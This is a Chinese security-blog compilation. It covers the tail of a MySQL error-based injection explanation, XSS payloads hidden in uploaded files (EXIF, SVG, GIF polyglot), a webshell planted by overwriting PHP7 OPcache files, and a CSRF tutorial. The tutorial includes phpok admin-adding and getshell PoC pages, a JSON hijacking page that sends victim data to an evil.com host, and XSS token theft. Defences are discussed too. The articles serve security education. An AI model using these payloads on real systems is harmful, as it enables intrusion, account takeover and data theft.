2.取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:

3.查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:

4.查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

5.整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

0x07 floor(rand()*2)报错


由0x05我们可以同样推理出不加入随机因子的情况,由于没加入随机因子,所以floor(rand()*2)是不可测的,因此在两条数据的时候,只要出现下面情况,即可报错,如下图:

最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。如图:

当前面记录让虚表长成这样子后,由于不管查询多少条记录,floor(rand()*2)的值在虚表中都能找到,所以不会被再次计算,只是简单的增加count(*)字段的数量,所以不会报错,比如floor(rand(1)*2),如图:

在前两条记录查询后,虚拟表已经存在0和1两个键值了,所以后面再怎么弄还是不会报错。

总之报错需要count(*)rand()group by,三者缺一不可。

XSS姿势——文件上传XSS

$
0
0

原文链接:http://brutelogic.com.br/blog/

0x01 简单介绍


一个文件上传点是执行XSS应用程序的绝佳机会。很多网站都有用户权限上传个人资料图片的上传点,你有很多机会找到相关漏洞。如果碰巧是一个self XSS,你可以看看这篇文章。

0x02 实例分析


首先基本上我们都可以找到类似下面的一个攻击入口点,我觉得这个并不难。

姿势一:文件名方式

文件名本身可能会反映在页面所以一个带有XSS命名的文件便可以起到攻击作用。

p1

虽然我没有准备靶场,但是你可以选择在W3Schools练习这种XSS 。

姿势二:Metadata

使用exiftool这个工具可以通过改变EXIF  metadata进而一定几率引起某处反射:

$ exiftool -field = XSS FILE

例如:

$ exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ brute.jpeg

p2

姿势三:Content

如果应用允许上传SVG格式的文件(其实就是一个图像类型的),那么带有以下content的文件可以被用来触发XSS:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

一个 PoC用来验证。你可以通过访问brutelogic.com.br/poc.svg看到效果

姿势四:Source

建立一个携带有JavaScript payload的GIF图像用作一个脚本的源。这对绕过CSP(内容安全策略)保护“script-src ‘self’”(即不允许使用示例的这种xss方式进行攻击<script>alert(1)</script>)是很有用的,但前提是我们能够成功地在相同的域注入,如下所示。

p3

要创建这样的图像需要这个作为content 和 name,并使用.gif扩展名:

GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;

这个GIF的图片头——GIF89a,作为alert function的变量分配给alert function。但是他们之间,还有一个被标注的XSS变量用来防止图片被恢复为text/HTML MIME文件类型,因此只需发送一个对这个文件的请求payload 就可以被执行。

正如我们下面看到的,文件类unix命令和PHP函数中的exif_imagetype()和getimagesize()会将其识别为一个GIF文件。所以如果一个应用程序仅仅是使用这些方式验证是否是一个图像,那么该文件将可以上传成功(但可能在上传后被杀掉)。

p4

0x03 最后


如果你想知道更多的有其标志性ASCII字符可以用于一个javascript变量赋值的文件类型,看我随后的文章。

也有很多比较详细的使用XSS和图像文件相结合绕过图形处理函数库过滤的例子。这方面的一个很好的例子是here

利用 PHP7 的 OPcache 执行 PHP 代码

$
0
0

from:http://blog.gosecure.ca/2016/04/27/binary-webshell-through-opcache-in-php-7/

在 PHP 7.0 发布之初,就有不少 PHP 开发人员对其性能提升方面非常关注。在引入 OPcache 后,PHP的性能的确有了很大的提升,之后,很多开发人员都开始采用 OPcache 作为 PHP 应用的加速器。OPcache 带来良好性能的同时也带来了新的安全隐患,下面的内容是 GoSecure 博客发表的一篇针对 PHP 7.0 的 OPcache 执行 PHP 代码的技术博文。

本文会介绍一种新的在 PHP7 中利用默认的 OPcache 引擎实施攻击的方式。利用此攻击向量,攻击者可以绕过“Web 目录禁止文件读写”的限制 ,也可以执行他自己的恶意代码。

0x00 OPcache 利用方式简介


OPcache 是 PHP 7.0 中内建的缓存引擎。它通过编译 PHP 脚本文件为字节码,并将字节码放到内存中。

使用 PHP7 加速 Web 应用

OPcache 缓存文件格式请看这里

同时,它在文件系统中也提供了缓存文件。
在 PHP.ini 中配置如下,你需要指定一个缓存目录:

opcache.file_cache=/tmp/opcache

在指定的目录中,OPcache 存储了已编译的 PHP 脚本文件,这些缓存文件被放置在和 Web 目录一致的目录结构中。如,编译后的 /var/www/index.php 文件的缓存会被存储在 /tmp/opcache/[system_id]/var/www/index.php.bin 中。

system_id 是当前 PHP 版本号,Zend 扩展版本号以及各个数据类型大小的 MD5 哈希值。在最新版的 Ubuntu(16.04)中,system_id 是通过当前 Zend 和 PHP 的版本号计算出来的,其值为 81d80d78c6ef96b89afaadc7ffc5d7ea。这个哈希值很有可能被用来确保多个安装版本中二进制缓存文件的兼容性。当 OPcache 在第一次缓存文件时,上述目录就会被创建。
在本文的后面,我们会看到每一个 OPcache 缓存文件的文件头里面都存储了 system_id
有意思的是,运行 Web 服务的用户对 OPcache 缓存目录(如:/tmp/opcache/)里面的所有子目录以及文件都具有写权限。

$ ls /tmp/opcache/
drwx------ 4 www-data www-data 4096 Apr 26 09:16 81d80d78c6ef96b89afaadc7ffc5d7ea

正如你所看到的,www-data 用户对 OPcache 缓存目录有写权限,因此,我们可以通过使用一个已经编译过的 webshell 的缓存文件替换 OPcache 缓存目录中已有的缓存文件来达到执行恶意代码的目的。

0x01 OPcache 利用场景


要利用 OPcache 执行代码,我们需要先找到 OPcache 的缓存目录(如:/tmp/opcache/[system_id])以及 Web 目录(如:/var/www/)。
假设,目标站点已经存在一个执行 phpinfo() 函数的文件了。通过这个文件,我们可以获得 OPcache 缓存目录, Web 目录,以及计算system_id 所需的几个字段值。我写了一个脚本,可以利用 phpinfo() 计算出 system_id

另外还要注意,目标站点必须存在一个文件上传漏洞。
假设 php.ini 配置 opcache 的选项如下:

opcache.validate_timestamp = 0   ; PHP 7 的默认值为 1
opcache.file_cache_only = 1      ; PHP 7 的默认值为 0
opcache.file_cache = /tmp/opcache

此时,我们可以利用上传漏洞将文件上传到 Web 目录,但是发现 Web 目录没有读写权限。这个时候,就可以通过替换 /tmp/opcache/[system_id]/var/www/index.php.bin 为一个 webshell的二进制缓存文件运行 webshell。

  1. 在本地创建 webshell 文件 index.php ,代码如下:

    <?php 
       system($_GET['cmd']); 
    ?>
    
  2. 在 PHP.ini 文件中设置 opcache.file_cache 为你所想要指定的缓存目录

  3. 运行 PHP 服务器(php -S 127.0.0.1:8080) ,然后向 index.php 发送请求(wget 127.0.0.1:8080),触发缓存引擎进行文件缓存。

  4. 打开你所设置的缓存目录,index.php.bin 文件即为编译后的 webshell 二进制缓存文件。

  5. 修改 index.php.bin 文件头里的 system_id 为目标站点的system_id。在文件头里的签名部分的后面就是system_id的值。

  6. 通过上传漏洞将修改后的 index.php.bin 上传至 /tmp/opcache/[system_id]/var/www/index.php.bin ,覆盖掉原来的 index.php.bin

  7. 重新访问 index.php ,此时就运行了我们的 webshell

针对这种攻击方式,在 php.ini 至少有两种配置方式可以防御此类攻击。

  • 禁用 file_cache_only
  • 启用 validate_timestamp

0x02 绕过内存缓存(file_cache_only = 0)


如果内存缓存方式的优先级高于文件缓存,那么重写后的 OPcache 文件(webshell)是不会被执行的。但是,当 Web 服务器重启后,就可以绕过此限制。因为,当服务器重启之后,内存中的缓存为空,此时,OPcache 会使用文件缓存的数据填充内存缓存的数据,这样,webshell 就可以被执行了。

但是这个方法比较鸡肋,需要服务器重启。那有没有办法不需要服务器重启就能执行 webshell 呢?

后来,我发现在诸如 WordPress 等这类框架里面,有许多过时不用的文件依旧在发布的版本中能够访问。如: registration-functions.php

由于这些文件过时了,所以这些文件在 Web 服务器运行时是不会被加载的,这也就意味着这些文件没有任何文件或内存的缓存内容。这种情况下,通过上传 webshell 的二进制缓存文件为 registration-functions.php.bin ,之后请求访问 /wp-includes/registration-functions.php ,此时 OPcache 就会加载我们所上传的 registration-functions.php.bin 缓存文件。

0x03 绕过时间戳校验(validate_timestamps = 1)


如果服务器启用了时间戳校验,OPcache 会将被请求访问的 php 源文件的时间戳与对应的缓存文件的时间戳进行对比校验。如果两个时间戳不匹配,缓存文件将被丢弃,并且重新生成一份新的缓存文件。要想绕过此限制,攻击者必须知道目标源文件的时间戳。
如上面所说的,在 WordPress 这类框架里面,很多源文件的时间戳在解压 zip 或 tar 包的时候都是不会变的。

注意观察上图,你会发现有些文件从2012年之后从没有被修改过,如:registration-functions.php 和 registration.php 。因此,这些文件在 WordPress 的多个版本中都是一样的。知道了时间戳,攻击者就可以绕过 validate_timestamps 限制,成功覆盖缓存文件,执行 webshell。二进制缓存文件的时间戳在 34字节偏移处。

0x04 总结


OPcache 这种新的攻击向量提供了一些绕过限制的攻击方式。但是它并非一种通用的 PHP 漏洞。随着 PHP 7.0 的普及率不断提升,你将很有必要审计你的代码,避免出现上传漏洞。并且检查可能出现的危险配置项。

邪恶的CSRF

$
0
0

0x00 什么是CSRF


CSRF全称Cross Site Request Forgery,即跨站点请求伪造。我们知道,攻击时常常伴随着各种各样的请求,而攻击的发生也是由各种请求造成的。

从前面这个名字里我们可以关注到两个点:一个是“跨站点”,另一个是“伪造”。前者说明了CSRF攻击发生时所伴随的请求的来源,后者说明了该请求的产生方式。所谓伪造即该请求并不是用户本身的意愿,而是由攻击者构造,由受害者被动发出的。

CSRF的攻击过程大致如图:

0x01 CSRF攻击存在的道理


一种攻击方式之所以能够存在,必然是因为它能够达到某种特定的目的。比如:通过程序中的缓冲区溢出漏洞,我们可以尝试控制程序的流程,使其执行任意代码;通过网站上的SQL注入漏洞,我们可以读取数据库中的敏感信息,进而获取Webshell甚至获取服务器的控制权等等。而CSRF攻击能够达到的目的是使受害者发出由攻击者伪造的请求,那么这有什么作用呢?

显然,这种攻击的威力和受害者的身份有着密切的联系。说到这儿我们可以思考一下,攻击者之所以要伪造请求由受害者发出,不正是想利用受害者的身份去达到一些目的吗?换句话说,受害者身上有达到这个目的所必需的条件,

而这些必需的条件在Web应用中便是各种各样的认证信息,攻击者就是利用这些认证信息来实现其各种各样的目的。

下面我们先看几个攻击场景。

0x02 场景举例


(1)场景一:

在一个bbs社区里,用户在发言的时候会发出一个这样的GET请求:

GET /talk.php?msg=hello HTTP/1.1
Host: www.bbs.com
…
Cookie: PHPSESSID=ee2cb583e0b94bad4782ea
(空一行)

这是用户发言内容为“hello”时发出的请求,当然,用户在请求的同时带上了该域下的cookie,于是攻击者构造了下面的csrf.html页面:

<html>
    <img src=http://www.bbs.com/talk.php?msg=goodbye />
</html>

可以看到,攻击者在自己的页面中构造了一个发言的GET请求,然后把这个页面放在自己的服务器上,链接为http://www.evil.com/csrf.html。之后攻击者通过某种方式诱骗受害者访问该链接,如果受害者此时处于登录状态,就会带上bbs.com域下含有自己认证信息的cookie访问http://www.bbs.com/talk.php?msg=goodbye,结果就是受害者按照攻击者的意愿提交了一份内容为“goodbye”的发言。

有人说这有什么大不了的,好,我们再看看另一个场景下的CSRF攻击。

(2)场景二:

在一个CMS系统的后台,发出下面的POST请求可以执行添加管理员的操作:

POST /manage.php?act=add HTTP/1.1
Host: www.cms.com
…
Cookie: PHPSESSID=ee2cb583e0b94bad4782ea;
is_admin=234mn9guqgpi3434f9r3msd8dkekwel
(空一行)
uname=test&pword=test

在这里,攻击者构造了的csrf2.html页面如下:

<html>
    <form action="/manage.php?act=add" method="post">
        <input type="text" name="uname" value="evil" />
        <input type="password" name="pword" value="123456" />
    </form>
    <script>
        document.forms[0].submit();
    </script>
</html>

该页面的链接为http://www.evil.com/csrf2.html,攻击者诱骗已经登录后台的网站管理员访问该链接(比如通过给管理员留言等方式)会发生什么呢?当然是网站管理员根据攻击者伪造的请求添加了一个用户名为evil的管理员用户。

通过这些场景我们可以看到,CSRF攻击会根据场景的不同而危害迥异。小到诱使用户留言,大到垂直越权进行操作。这些攻击的请求都是跨域发出,并且至关重要的一点,都是在受害者的身份得到认证以后发生的。另外,我们在第一个场景中攻击时并没有使用JavaScrpit,这说明CSRF攻击并不依赖于JavaScript。

0x03 CSRF攻击方式


(1)HTML CSRF攻击:

即利用HTML元素发出GET请求(带src属性的HTML标签都可以跨域发起GET请求),如:

<link href="…">
<img src="…">
<iframe src="…">
<meta http-equiv="refresh" content="0; url=…">
<script src="…">
<video src="…">
<audio src="…">
<a href="…">
<table background="…">
…

若要构造POST请求,则必须用表单提交的方式。另外,这些标签也可以用JavaScript动态生成,如:

<script>
    new Image().src = 'http://www.goal.com/…';
</script>

(2)JSON HiJacking攻击:

为了了解这种攻击方式,我们先看一下Web开发中一种常用的跨域获取数据的方式:JSONP。

先说一下JSON吧,JSON是一种数据格式,主要由字典(键值对)和列表两种存在形式,并且这两种形式也可以互相嵌套,非常多的应用于数据传输的过程中。由于JSON的可读性强,并且很适合JavaScript这样的语言处理,已经取代XML格式成为主流。

JSONP(JSON with Padding)是一个非官方的协议,是Web前端的JavaScript跨域获取数据的一种方式。我们知道,JavaScript在读写数据时受到同源策略的限制,不可以读写其他域的数据,于是大家想出了这样一种办法:

前端html代码:

<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
    function jsonpCallback(result) { 
        alert(result.a); 
        alert(result.b);
        alert(result.c); 
        for(var i in result) { 
            alert(i+":"+result[i]);//循环输出a:1,b:2,etc. 
        } 
    } 
</script> 
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>

后端的php代码:

<?php 
//服务端返回JSON数据 
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5); 
$result=json_encode($arr); 
//echo $_GET['callback'].'("Hello,World!")'; 
//echo $_GET['callback']."($result)";
//动态执行回调函数 
$callback=$_GET['callback']; 
echo $callback."($result)";
?>

可以看到,前端先是定义了jsonpCallback函数来处理后端返回的JSON数据,然后利用script标签的src属性跨域获取数据(前面说到带src属性的html标签都可以跨域),并且把刚才定义的回调函数的名称传递给了后端,于是后端构造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函数调用过程返回到前端执行,达到了跨域获取数据的目的。

一句话描述JSONP:前端定义函数却在后端完成调用然后回到前端执行!

明白了JSONP的调用过程之后,我们可以想象这样的场景:

当用户通过身份认证之后,前端会通过JSONP的方式从服务端获取该用户的隐私数据,然后在前端进行一些处理,如个性化显示等等。这个JSONP的调用接口如果没有做相应的防护,就容易受到JSON HiJacking的攻击。

就以上面讲JSONP的情景为例,攻击者可以构造以下html页面:

<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
    function hijack(result) { 
        var data = '';
        for(var i in result) {
            data += i + ':' + result[i];
        }
        new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把数据发送到攻击者服务器上
    } 
</script> 
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
</html>

可以看到,攻击者在页面中构造了自己的回调函数,把获取的数据都发送到了自己的服务器上。如果受害者在已经经过身份认证的情况下访问了攻击者构造的页面,其隐私将暴露无疑。

我们用以下几张图来总结一下JSON HiJacking的攻击过程:

(图片来源:http://haacked.com/archive/2009/06/25/json-hijacking.aspx/

0x04 CSRF的危害


前面说了CSRF的基本概念,列举了几个CSRF的攻击场景,讲述了几种CSRF的攻击方法,现在我们来简单总结一下CSRF攻击可能造成的危害。

CSRF能做的事情大概如下:

1)篡改目标网站上的用户数据;
2)盗取用户隐私数据;
3)作为其他攻击向量的辅助攻击手法;
4)传播CSRF蠕虫。

其中前两点我们在之前的例子中已经做了比较详细的说明,不再赘述。第三点即将其他攻击方法与CSRF进行结合进行攻击,接下来我们以实际的漏洞实例来说明CSRF的第三个危害。

另外,CSRF蠕虫就是利用之前讲述的各种攻击方法,并且在攻击代码里添加了形成蠕虫传播条件的攻击向量,这一点会在本文的最后介绍。

0x05 基于CSRF攻击实例

我们来看一下phpok的两个CSRF漏洞如何进行最大化的利用。这两个漏洞均来自乌云:

  1. phpok csrf添加管理员+后台getshell
  2. phpok csrf成功getshell(二)

(1)版本4.2.100:

在phpok该版本的后台提交如下POST请求可以添加管理员:

POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com
…
Cookie: …
(空一行)
id=…&accont=…&pass=…&status=…&if_system=…

攻击者可以构造如下页面:

<html>
    <div style="display:none">
        <form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
            <input type="hidden" name="id" value=""/>
            <input type="hidden" name="account" value=""/>
            <input type="hidden" name="pass" value=""/>
            <input type="hidden" name="email" value=""/>
            <input type="hidden" name="status" value=""/>
            <input type="hidden" name="if_system" value=""/>
            <input type="submit" name="up" value="submit"/>
        </form>
        <script>
            var t = document.poc;
            t.account.value="wooyun";
            t.pass.value="123456";
            t.status.value="1";
            t.if_system.value="1";
            document.poc.submit();
        </script>
    </div>
</html>

攻击发生之前,如图:

管理员在登录的情况下访问攻击者的页面之后,如图:

可以看到,成功添加了一名管理员。

攻击到这里就结束了吗?并没有!攻击者利用CSRF漏洞成功进入了后台,他还要想办法GetShell!

在后台风格管理-创建模板文件的地方添加一个模板,通过抓包改包的方式绕过前端对文件类型的判断,如图:

GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.html

改为GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php

可以看到成功添加了.php文件:

然后在编辑文件内容为一句话木马即可:

在此次攻击中,攻击者最后利用后台添加模板处的限制不严格拿到了Webshell,但在此之前使攻击者得以进入后台的却是CSRF漏洞,由此可以看到CSRF在这次攻击中的重要性。

(2)还是4.2.100...

刚才我们是通过CSRF先进入后台,然后利用后台的其他漏洞GetShell,这次我们直接在前台利用CSRF漏洞去GetShell怎么样?

phpok的前台可以上传.zip文件,我们把木马文件test.php压缩为test.zip;

注册一个账号,进入修改资料页面;

选择一个正常的图片,截获数据,如图:

然后修改数据,如图:

成功上传.zip文件,记录下文件id号,这里是739。

在后台的程序升级-ZIP离线包升级中的升级操作存在CSRF漏洞,演示如图:

于是攻击者可以构造如下页面:

<html>
    <form action="http://localhost//phpok/admin.php?c=update&f=unzip" id="poc" name="poc" method="post">
        <input type="hidden" name="zipfile" value=""/>
        <input type="hidden" name="file" value=""/>
        <input type="submit" name="up" value="submit"/>
    </form>
    <script>
        var t = document.poc;
        t.zipfile.value="739";
        t.file.value="739";
        document.poc.submit();
    </script>
</html>

管理员登录后台后访问攻击者的页面,如图:

可以看到我们的木马文件已经上传到服务器上了。

这次攻击,我们根本没有进入后台,而是利用一个CSRF漏洞直接就拿到了Webshell,由此可以看出CSRF在某些场景下的威力之大,根本不亚于SQL注入和文件上传这样的漏洞。

0x05 CSRF的防御


前面我们了解了这么多有关CSRF攻击的东西,目的是为了明白如何防御CSRF攻击(真的是这样吗?...)。

要防御CSRF攻击,我们就要牢牢抓住CSRF攻击的几个特点。

首先是“跨域”,我们发现CSRF攻击的请求都是跨域的,针对这一特点,我们可以在服务端对HTTP请求头部的Referer字段进行检查。一般情况下,用户提交的都是站内的请求,其Referer中的来源地址应该是站内的地址。至关重要的一点是,前端的JavaScript无法修改Referer字段,这也是这种防御方法成立的条件。

不过需要说明的是,有的时候请求并不需要跨域,比如我们后面讲到的结合XSS进行攻击的时候,有的时候甚至没有Referer字段…,这些也是使用这种防御方法的弊病所在。

第二点是“伪造”,这也是CSRF攻击的核心点,即伪造的请求。我们来想一下,攻击者为什么能够伪造请求呢?换句话说,攻击者能够伪造请求的条件是什么呢?纵观之前我们伪造的所有请求,无一例外,请求中所有参数的值都是我们可以预测的,如果出现了攻击者无法预测的参数值,那么将无法伪造请求,CSRF攻击也不会发生。基于这一点,我们有了如下两种防御方法:

  1. 添加验证码;

  2. 使用一次性token。

先看看第一种。验证码的核心作用是区分人和机器,而CSRF攻击中的请求是在受害者上当的情况下由浏览器自动发出的,属于机器发出的请求,攻击者无法预知验证码的值,所以使用验证码可以很好地防御CSRF攻击,但毫无疑问,验证码会一定程度地影响用户体验,所以我们要在安全和用户体验之间找到一个平衡点。

再看看第二种方法。所谓token是一段字母数字随机值,我们可以把它理解为一个服务端帮我们填好的验证码!每当我们访问该页面时,服务端会根据时间戳、用户ID、随机串等因子生成一个随机的token值并传回到前端的表单中,当我们提交表单时,token会作为一个参数提交到服务端进行验证。在这个请求过程中,token的值也是攻击者无法预知的,而且由于同源策略的限制,攻击者也无法使用JavaScript获取其他域的token值,所以这种方法可以成功防御CSRF攻击,也是现在用的最多的防御方式。

但是,需要注意的一点是,token的生成一定要随机,即不能被攻击者预测到,否则这种防御将形同虚设。另外,token如果作为GET请求的参数在url中显示的话,很容易在Referer中泄露。还有更重要的一点:如果在同域下存在XSS漏洞,那么基于token的CSRF防御将很容易被击破,我们后面再说。

除了“跨域”和“伪造”两点,我们还可以注意到CSRF在攻击时间上的特点:CSRF攻击都是在受害者已经完成身份认证之后发生的,这是由CSRF攻击的目的所决定的。基于这一点,我们还可以想出一些缓解CSRF攻击的方法(注意是缓解),比如缩短Session的有效时间等等,可能一定程度上会降低CSRF攻击的成功率。

总结一下上面的防御方法如下:

  1. 验证Referer;

  2. 使用验证码;

  3. 使用CSRF token;

  4. 限制Session生命周期。

其中第四种属于缓解类方法,就不多说了。我们看一下其他三种方法都分别存在什么弊病。

Referer最大弊病:有些请求不带Referer;

验证码最大弊病:影响用户体验;

CSRF token最大弊病:随机性不够好或通过各种方式泄露,此外,在大型的服务中需要一台token生成及校验的专用服务器,需要更改所有表单添加的字段,有时效性的问题。

那么有没有其它的办法能够有效地防御CSRF攻击呢?xeye团队的monyer提出了下面这样的方法:

原理与token差不多:当表单提交时,用JavaScript在本域添加一个临时的Cookie字段,并将过期时间设为1秒之后在提交,服务端校验有这个字段即放行,没有则认为是CSRF攻击。

前面提到,token之所以可以防御CSRF,是因为攻击者无法使用JavaScript获取外域页面中的token值,必须要遵守同源策略;而临时Cookie的原理是:Cookie只能在父域和子域之间设置,也遵守同源策略,攻击者无法设置该Cookie。

下面看一个简单的demo,前端http://127.0.0.1:8888/test.html

<html>
    <script>
        function doit() {
            var expires = new Date((new Date()).getTime()+1000);
            document.cookie = "xeye=xeye; expires=" + expires.toGMTString();
        }
    </script>
    <form action="http://127.0.0.1:8888/test.php" name="f" id="f" onsubmit="doit();" target="if1">
        <input type="button" value="normal submit" onclick="f.submit();">
        <input type="button" value="with token" onclick="doit();f.submit();">
        <input type="submit" value="hook submit">
    </form>
    <iframe src="about:blank" name="if1" id="if1"></iframe>
</html>

服务端http://127.0.0.1:8888/test.php:

<?php
echo "<div>Cookies</div>";
var_dump($_COOKIE);
?>

前端test.html页面中有三个按钮:第一个是正常的表单提交;第二个是添加临时Cookie后提交表单;第三个是以hook submit事件来添加临时Cookie并提交。

我们来演示一下效果,test.html页面如图:

normal submit之后:

看到只有xampp设置的一个Cookie,试一下with token按钮:

看到我们提交的Cookie中多出了一个名为“xeye”的Cookie,再试一下hook submit:

效果和第二个相同。

通过上面的演示,我们可以看到设置临时Cookie的效果。

不过这种方式只适用于单域名的站点,或者安全需求不需要“当子域发生XSS隔离父域”。因为子域是可以操作父域的Cookie的(通过设置当前域为父域的方式),所以这种方法的缺点也比较明显:这种方法无法防御由于其他子域产生的XSS所进行的表单伪造提交(注意:使用token可能也会有这样的问题,马上说到)。但如果对于单域站点而言,这种防御方法的安全性可能会略大于token。

对于这种防御方式的几个小疑问:

  1. 网络不流畅,有延迟会不会导致Cookie失效?这个显然是不会的,因为服务端Cookie是在提交请求的header中获得的。延时在服务端,不在客户端,而1秒钟足可以完成整个表单提交过程。

  2. Cookie的生成依赖于JavaScript,相当于这个token是明文的?这是肯定的,不管采用多少种加密,只要在客户端,就会被破解,不过不管怎样,CSRF无法在有用户状态的情况下添加这个临时Cookie字段(同源策略)。虽然通过服务端可以,但是无法将当前用户的状态也带过去(即攻击者尝试在自己的中转服务器上添加临时Cookie,但是这种做法背离CSRF攻击的目的了,因为受害者的Cookie(认证信息)不会发到攻击者的中转服务器上啊…顺便说一句,Referer也是同样的道理)。

  3. 如果由于某种网络问题无法获取Cookie呢?那么保存用户状态的Cookie当然也无法获取了,用户只能再重新提交表单才可以,这就与CSRF无关了。

由于这种防御策略还没有被大规模使用,所以无法确定其是否真实有效。不过如果有效的话,这大概是一种最简单的、对代码改动最小,且对服务器压力也最小的防御CSRF的方法。

在攻击方法中我们详细讲解了JSON HiJacking,那么针对这种特定的CSRF攻击方法,我们有没有什么特定的防御方法呢?

当然有了,这里介绍两种:

1)在返回的脚本开始部分加入“while(1);”:

当攻击者通过JSON HiJacking的方式获取到返回的JSON数据时,其攻击代码会陷入死循环中,无法将敏感信息发送到自己的服务器上,这样就防止了信息泄露;而正常的客户端代码可以正确地处理返回的JSON数据,它可以先将“while(1);”去掉再正常处理。

这样做相比较与其他方式CSRF的方法有一个突出的好处,即不依赖浏览器的边界安全策略,而是在代码级别引入保护机制。

Google的部分服务就采取了这种防御方法,具体内容可以参考下面的链接:

http://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses

2) 使用POST表单提交的方式获取JSON数据:

当前端可以使用XMLHttpRequest获取JSON数据时,当然也可以使用POST表单的方式完成这项任务,这样的话攻击者就无法使用script标签来获取JSON数据(因为src属性发出的是GET请求)。

纵观这些CSRF的防御方法,无一不是针对CSRF攻击成立的条件进行破坏,这也是“未知攻,焉知防”道理的体现。我们在对自己的网站进行防御的时候,要根据自己的业务场景,选择一个最合适的防御方案。

0x06 结合XSS的CSRF攻击


前面我们说到了基于CSRF的攻击,讲的是在一整套攻击中使用CSRF来达到最终目的或某个中间目的。而这里我们要说的是:如何利用CSRF的“黄金搭档”——XSS来辅助我们完成一次CSRF攻击。

为什么说XSS是CSRF的“黄金搭档”呢?因为当XSS存在时,我们往往可以利用它来突破目标站点对CSRF攻击的防护;还有一些情况,比如我们可以找到一些“SELF-XSS”,即只能跨自己,那么如果可以CSRF的话,就不仅仅能跨自己了。我们标题里说的“结合”就是指这两种方式。

下面我们举例说明:

1) 利用XSS窃取token之后发起CSRF攻击

以前面0x05中的第一个例子为例,我们的目标是进入后台。

加入添加管理员的POST请求如下(加入了token):

POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com
…
Cookie: …
(空一行)
id=…&accont=…&pass=…&status=…&if_system=…&accont=…&token=…

那么我们就不能直接构造出攻击页面了,因为token的值我们无法预测,一般情况下我们也无法得到token的值,但我们假设,在给管理员留言的地方存在XSS漏洞,但是管理员的Cookie加了HttpOnly属性,我们无法通过XSS直接获取管理员的Cookie,那该怎么办呢?我们可以把这两个漏洞结合起来利用。

我们可以利用XSS在管理员的浏览器中执行下面的JavaScript代码:

<script>
    var frameObj = document.createElement("iframe");
    frameObj.setAttribute("id", "add");
    document.body.appendChild(frameObj);
    document.getElementById("add").src = "admin.php?c=admin&f=save";
    var token = document.getElementById("add").contentWindow.document.getElementById("token").value; //从iframe中的页面中获取token值
    var xmlhttp;
    if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp = new XMLHttpRequest();
    } else { // code for IE6, IE5
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.open("POST", "admin.php?c=admin&f=save", true);
    xmlhttp.send("id = & accont = wooyun&pass=123456&status=1&if_system=1&token=" + token); //带上token提交添加管理员的请求
</script>

代码很好理解,首先我们通过iframe的方式嵌入含有token的页面,因为同域,所以我们可以对页面中的DOM进行读写操作,所以顺利取得token;然后我们利用AJAX的方式带上token提交添加管理员的请求,我们依靠XSS成功突破了页面对CSRF攻击的防护。

2) 结合CSRF发起XSS攻击

(实例来源:百度某站可结合CSRF及XSS劫持账号

在百度词典-我的词典处,有将生词添加进生词本的功能,在备注的时候没有进行过滤,可以直接插入JavaScript代码。

但这显然是一个“SELF-XSS”,只能跨自己,有什么用呢?

再看看,页面似乎没有对CSRF做防护,那么我们是不是可以利用CSRF来触发这个XSS,让别人跨自己呢?

构造POST请求页面如下:

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body>
    <form id="baidu" name="baidu" action="http://dict.baidu.com/wordlist.php" method="POST">
        <input type="text" name="req" value="add" />
        <input type="text" name="word" value="Wooyun" />
        <input type="text" name="explain" value="<script src=http://xsserme></script>" />
        <input type="submit" value="submit" />
    </form>
    <script>
        document.baidu.submit();
    </script>
</body>
</html>

诱惑受害者访问该页面,效果如图:

看看生词本:

已经成功添加了一个新单词“Wooyun”,到我们的XSS平台上看看备注中的JavaScript代码有没有执行:

代码成功执行!

由此可以看到,如果能够将XSS攻击和CSRF攻击结合起来,会产生1+1>2的效果。

0x07 CSRF蠕虫


说说蠕虫。

蠕虫有两大特征:

1) 传播性;

2) 恶意行为。

蠕虫的恶意行为是由其传播性引起的,也就是说,凡是传播可以做的事,蠕虫基本上都可以做,而且还可以做些和特定蠕虫有关的事,比如我们要说的CSRF蠕虫就可以大批量地获取用户的隐私信息(CSRF的危害之一嘛)。

所以,我们主要研究CSRF蠕虫的传播性。

